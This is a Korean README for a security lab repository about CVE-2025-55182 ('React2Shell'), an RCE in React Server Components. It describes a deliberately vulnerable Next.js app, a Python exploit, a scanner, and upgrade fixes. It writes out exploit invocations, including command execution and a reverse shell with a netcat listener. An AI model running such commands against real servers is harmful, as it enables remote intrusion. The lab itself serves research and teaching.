
CVE-2025-55182 (React2Shell)에 대한 실습 환경 및 PoC 익스플로잇으로, React Server Components의 심각한 RCE 취약점입니다. 취약한 앱, 익스플로잇 스크립트, 스캐너를 포함하며 보안 연구 및 교육 목적으로 제공됩니다.
이 저장소는 React 19.x 및 Next.js 15.x에 영향을 미치는 React Server Components(RSC)의 심각한 원격 코드 실행(RCE) 취약점인 CVE-2025-55182를 분석하고 재현하기 위한 완전한 환경을 제공합니다.
⚠️ 경고: 이 프로젝트는 의도적으로 취약한 코드를 포함하고 있습니다. 공용 서버나 프로덕션 환경에 배포하지 마십시오.
react-server-dom-webpack, react-server-dom-turbopack취약점은 React Server Components 런타임이 HTTP 요청(서버 액션)에서 직렬화된 데이터를 처리하는 방식에 존재합니다. 공격자는 악의적인 'Flight' 프로토콜 페이로드를 제작하여 서버가 역직렬화할 때 인증 확인이 이루어지기 전에 임의의 코드를 실행할 수 있습니다.
react2shell/
├── vulnerable-app/ # 취약한 Next.js 15 애플리케이션
│ ├── app/
│ │ ├── actions.ts # 취약한 서버 액션
│ │ └── page.tsx # 취약점 테스트용 UI
│ ├── Dockerfile # 컨테이너 정의
│ └── package.json
├── exploit/ # 익스플로잇 도구
│ ├── exploit.py # Python PoC 익스플로잇
│ ├── scanner.py # 취약점 스캐너
│ └── quick_exploit.sh # 간단한 bash 익스플로잇
├── docs/ # 분석 문서
└── docker-compose.yml # 격리된 실습 환경
취약한 애플리케이션을 격리된 컨테이너에서 실행합니다:
docker-compose up -d --build
애플리케이션은 http://localhost:3000에서 접근 가능합니다.
브라우저에서 http://localhost:3000에 방문하세요. 여러 테스트 패널이 있는 'React2Shell Lab' 인터페이스가 표시됩니다:
취약점을 테스트하기 위한 여러 도구를 제공합니다.
요구 사항 설치:
pip install -r exploit/requirements.txt
취약한지 확인:
python3 exploit/exploit.py -u http://localhost:3000 --check
명령 실행:
python3 exploit/exploit.py -u http://localhost:3000 -c "id"
리버스 셸 (리스너 필요, 예: nc -lvnp 4444):
python3 exploit/exploit.py -u http://localhost:3000 --revshell -l HOST_IP -p 4444
취약한 React/Next.js 인스턴스 스캔:
python3 exploit/scanner.py -u http://localhost:3000
자신의 애플리케이션에서 이 취약점을 수정하려면:
종속성 업그레이드:
패치 확인:
package.json을 확인하여 react-server-dom-* 패키지가 업데이트되었는지 확인하세요.
이 프로젝트는 교육 목적 및 보안 연구용으로만 제공됩니다. 저자는 이 자료의 오용에 대해 책임을 지지 않습니다.